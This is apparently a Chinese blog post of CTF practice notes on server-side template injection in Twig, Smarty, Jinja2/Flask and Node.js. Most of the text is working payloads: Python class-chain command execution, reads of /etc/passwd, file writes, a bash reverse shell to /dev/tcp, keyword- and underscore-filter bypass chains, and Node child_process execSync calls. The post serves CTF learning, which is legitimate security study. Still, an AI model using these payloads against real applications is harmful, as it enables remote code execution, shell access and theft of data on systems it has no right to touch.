周练7(ssti)

 

{7*7} ->49 -> smarty

{{7*'7'}} -> 49 -> twig

{{7*'7'}} -> 7777777 -> jinjia2

1. [BJDCTF2020]Cookie is so stable1(phpTwig模板)

尝试输入数据,结果就是输入什么就回显什么

有两个包,第一个为session赋值,第二的请求页面

尝试{{7*8}}发现有ssti

尝试X-Forwarded-For: {{system("ls")}} {php}phpinfo();{/php} {if phpinfo()}{/if}失败

利用TWIG 全版本通用 SSTI payloads成功

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}            //id是执行linux命令的地方,这个payload好像只能回显最前面的一个
payload:

user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat ../../../flag|tr '\n' ','")}}

2.HDCTF 2023SearchMaster(php smarty模板)

 判断模板类型及版本

 

{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

 采用if判断执行代码

 

 

3. [WesternCTF2018]shrine1(flask模板jinjia2框架)

import flask
import os

app = flask.Flask(__name__)
//app.config保存这个app的所有配置变量
app.config['FLAG'] = os.environ.pop('FLAG')
//注册了一个名为FLAG的config,猜测这就是flag, 如果没有过滤可以直接{{config}}即可查看所有app.config内容

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')//转义括号
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//上面这行代码把黑名单的东西遍历并设为空
    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

原理

render_template默认会对{{}}里的语句进行转义,

当我们把render_template 换成render_template_string后,并对参数不进行处理,就会发生ssti注入

 

{% set x= 'abcd' %}  声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %}  条件语句

__class__ 返回类型所属的对象
__mro__返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析,这里也就是class返回的对象所属的类。
__base__返回该对象所继承的基类,这里也就是class返回的对象所属的类。
__subclasses__返回基类中的所有子类,每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__globals__对包含函数全局变量的字典的引用,里面包括
get_flashed_messages() 返回在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)

[].__class__.__base__.__subclasses__()

<type 'list'> <type 'object'>

''.__class__.__mro__[2].__subclasses__()

<type 'str'> <type 'object'>

().__class__.__bases__[0].__subclasses__()

 

<type 'tuple'> <type 'object'>

{}.__class__.__mro__[1].__subclasses__()

(<class 'dict'>, <class 'object'>)

 

{{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

 

 

 

<type 'file'>

文件读写:

''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
#写文件

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

 

{{self.__init__.__globals__.__builtins__['__import__']('os').popen('ls').read()}} 

 

<class ‘site._Printer’>

 内含os模块的类

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

 

反弹shell

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

 

<class ‘warnings.catch_warnings’>
不含os模块的类
# eval

{% print([].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')) %}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

#__import__

[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('ls')}
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

 

 <class 'subprocess.Popen'>

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

<class 'os._wrap_close'>

{{"".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

{{ "".__class__.__base__ .__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}ge?ctfshow=cat /flag

 

{{()[request.args.a][request.args.b]}}&a=__class__&b=__base__

更多  https://blog.csdn.net/miuzzx/article/details/110220425

python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.__globals__}}可以查看查看所有全局变量

看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{{url_for.__globals__['current_app'].config}}

4.[DASCTF X CBCTF 2022九月挑战赛]Text Reverser

发现{{}}被过滤了,利用{% print([].__class__.__base__.__subclasses__()) %}绕过

5.

 过滤了.用|attr("")代替

注意:attr内不能拼接可以用变量代替

过滤了下滑线

{%set pop=dict(pop=a)|join%}
{%set mayylu=(lipsum|string|list)|attr(pop)(24)%}可得变量mayylu即为下滑线

过滤了某些关键词,和select  ’+‘等拼接符

可以用join关键字代替+

过滤了单引号,可以用双引号代替不影响语句

{%set pop=dict(pop=a)|join%}
{%set mayylu=(lipsum|string|list)|attr(pop)(24)%}
{%set cla="cla" %}
{%set ss="ss" %}
{%set cs=(mayylu,mayylu,cla,ss|join,mayylu,mayylu)|join%}
{%set ba="ba" %}
{%set se="se" %}
{%set bs=(mayylu,mayylu,ba,se|join,mayylu,mayylu)|join%}
{%set subcla="subcla" %}
{%set sses="sses" %}
{%set sb=(mayylu,mayylu,subcla,sses|join,mayylu,mayylu)|join%}
{%set getitem="getitem" %}
{%set get=(mayylu,mayylu,getitem|join,mayylu,mayylu)|join%}
{%set in="in" %}
{%set it="it" %}
{%set int=(mayylu,mayylu,in,it|join,mayylu,mayylu)|join%}
{%set glo="glo" %}
{%set bals="bals" %}
{%set gb=(mayylu,mayylu,glo,bals|join,mayylu,mayylu)|join%}
{%print ([]|attr(cs)|attr(bs)|attr(sb)()|attr(get)(140)|attr(int)|attr(gb)|attr(get)("popen")("ls")|attr("read")())%}
cat flllaag?txt

nodejs

eval={{ " ".toString.constructor("return global.process.mainModule.constructor._load('child_process').execSync('cat fl00g.txt').toString()")() }}
 
?eval=require("child_process").execSync("ls")
?eval=require("child_process").execFileSync("ls")
?eval=require("child_process").spawnSync("ls").stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
require("fs").readdirSync(".")
require("fs").readFileSync("fl001g.txt")

 
require('child_process').exec('calc')
global.process.mainModule.constructor._load('child_process').exec('calc')
global.process.mainModule.require('child_process').exec('calc')
posted @ 2022-10-24 23:55  mayylu  阅读(63)  评论(0编辑  收藏  举报